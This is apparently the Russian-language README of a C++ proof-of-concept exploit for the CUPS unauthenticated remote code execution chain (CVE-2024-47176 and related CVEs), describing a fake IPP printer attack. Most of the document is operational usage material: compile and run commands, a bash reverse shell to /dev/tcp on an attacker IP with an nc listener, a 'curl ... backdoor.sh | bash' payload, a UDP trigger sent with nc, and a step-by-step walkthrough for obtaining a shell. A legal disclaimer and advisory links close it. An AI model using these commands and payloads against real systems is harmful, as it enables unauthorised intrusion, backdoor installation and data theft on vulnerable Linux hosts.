
Эксплойт на C++ для неаутентифицированного удаленного выполнения кода на CUPS через цепочку CVE-2024-47176.
Полнофункциональный proof-of-concept эксплойт, нацеленный на цепочку уязвимостей удаленного выполнения кода в CUPS (Common Unix Printing System), обнаруженную в сентябре 2024 года. Цепочка состоит из четырех CVE — CVE-2024-47176, CVE-2024-47076, CVE-2024-47175 и CVE-2024-47177 — которые вместе позволяют неавторизованному удаленному злоумышленнику выполнять произвольные команды на любой Linux-системе, работающей под уязвимой версией CUPS.
Эксплойт развертывает поддельный IPP (Internet Printing Protocol) сервер, имитирующий сетевой принтер. Атака разворачивается в четыре этапа:
Этап 1 — Обнаружение триггера Отправляется специально сформированный UDP-пакет на порт 631 цели. Демон cups-browsed доверяет этому пакету без аутентификации и инициирует TCP-соединение обратно к IPP-серверу атакующего для получения атрибутов принтера.
Этап 2 — Доставка вредоносного PPD IPP-сервер атакующего отвечает атрибутами принтера, содержащими несанитизированные данные. Эти данные проходят через libcupsfilters и libppd, которые не проверяют и не очищают ввод, что позволяет внедрить вредоносную директиву FoomaticRIPCommandLine в PPD-файл.
Этап 3 — Внедрение команды Когда задание печати отправляется на подконтрольный злоумышленнику принтер (автоматически или действием пользователя), фильтр foomatic-rip обрабатывает PPD-файл и выполняет внедренную команду с привилегиями пользователя lp.
Этап 4 — Выполнение полезной нагрузки Внедренная команда выполняется на целевой системе. Типичные полезные нагрузки включают обратные шеллы, установку бэкдоров, эксфильтрацию данных или подготовку к повышению привилегий.
cups-browsed <= 2.0.1 libcupsfilters <= 2.1b1 libppd <= 2.1b1 cups-filters <= 2.0.1
Большинство дистрибутивов Linux поставлялись с уязвимыми версиями до обновлений конца 2024 года.
g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Внешних зависимостей нет. Компилируется на любом дистрибутиве Linux с g++.
./cups_rce_exploit -l <ATTACKER_IP> -r [options]
-l, --listener IP-адрес атакующего для поддельного IPP-сервера -r, --reverse Команда для выполнения на цели или путь к файлу сценария -t, --target IP-адрес цели (автоматически отправляет UDP-пакет триггера) -p, --port Порт для поддельного IPP-сервера (по умолчанию: 631) -s, --spoof Имя поддельного принтера (по умолчанию: VulnPrinter) -T, --target-port Целевой UDP порт (по умолчанию: 631) -h, --help Показать справку
Терминал 1 — запустите слушателя: nc -lvnp 4444
Терминал 2 — запустите эксплойт: ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
echo 'curl http://192.168.1.50/backdoor.sh | bash' > payload.sh ./cups_rce_exploit -l 192.168.1.50 -r ./payload.sh -t 192.168.1.100
Терминал 1 — запустите сервер: ./cups_rce_exploit -l 192.168.1.50 -r "whoami > /tmp/pwned.txt"
Терминал 2 — отправьте UDP-триггер цели: echo '0 3 ipp://192.168.1.50:631/printers/VulnPrinter "Office" "Printer"' | nc -u 192.168.1.100 631
./cups_rce_exploit -l 192.168.1.50 -p 1631 -r "id > /tmp/owned" -t 192.168.1.100 -T 631
Шаг 1: Настройте слушателя netcat на вашей машине атакующего nc -lvnp 4444
Шаг 2: Скомпилируйте эксплойт g++ -std=c++11 -O2 -pthread -o cups_rce_exploit cups_rce_exploit.cpp
Шаг 3: Запустите эксплойт против цели ./cups_rce_exploit -l 192.168.1.50 -r "bash -c 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1'" -t 192.168.1.100
Шаг 4: Если пользователь на целевой машине отправит тестовую страницу или любой документ на поддельный принтер, вы получите обратный шелл от имени пользователя lp.
УВЕДОМЛЕНИЕ О СОБЛЮДЕНИИ ЗАКОНОДАТЕЛЬСТВА
Данное программное обеспечение предоставляется только для образовательных и исследовательских целей. Оно предназначено для помощи специалистам по безопасности, тестировщикам на проникновение и системным администраторам в понимании, обнаружении и защите от описанных уязвимостей.
Несанкционированное использование этого эксплойта против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным и может нарушать Закон о компьютерном мошенничестве и злоупотреблениях (CFAA), Закон о неправомерном использовании компьютеров и аналогичные законы в других юрисдикциях.
Авторизованные случаи использования включают оценку безопасности на собственных системах, тесты на проникновение с письменного разрешения, программы bug bounty с явно определенными рамками, академические исследования в контролируемых лабораторных условиях и соревнования CTF.
Автор не несет ответственности за любое неправомерное использование или ущерб, причиненный данным программным обеспечением. Пользователи несут единоличную ответственность за соблюдение всех применимых законов и получение надлежащего разрешения перед тестированием.
Используя данное программное обеспечение, вы принимаете эти условия.
https://github.com/OpenPrinting/cups-browsed/security/advisories/GHSA-rj88-6mr5-rcw8 https://github.com/OpenPrinting/libcupsfilters/security/advisories/GHSA-w63j-6g73-wmg5 https://github.com/OpenPrinting/libppd/security/advisories/GHSA-7xfx-47qg-grp6 https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-p9rh-jxmq-gq47 https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I https://www.cups.org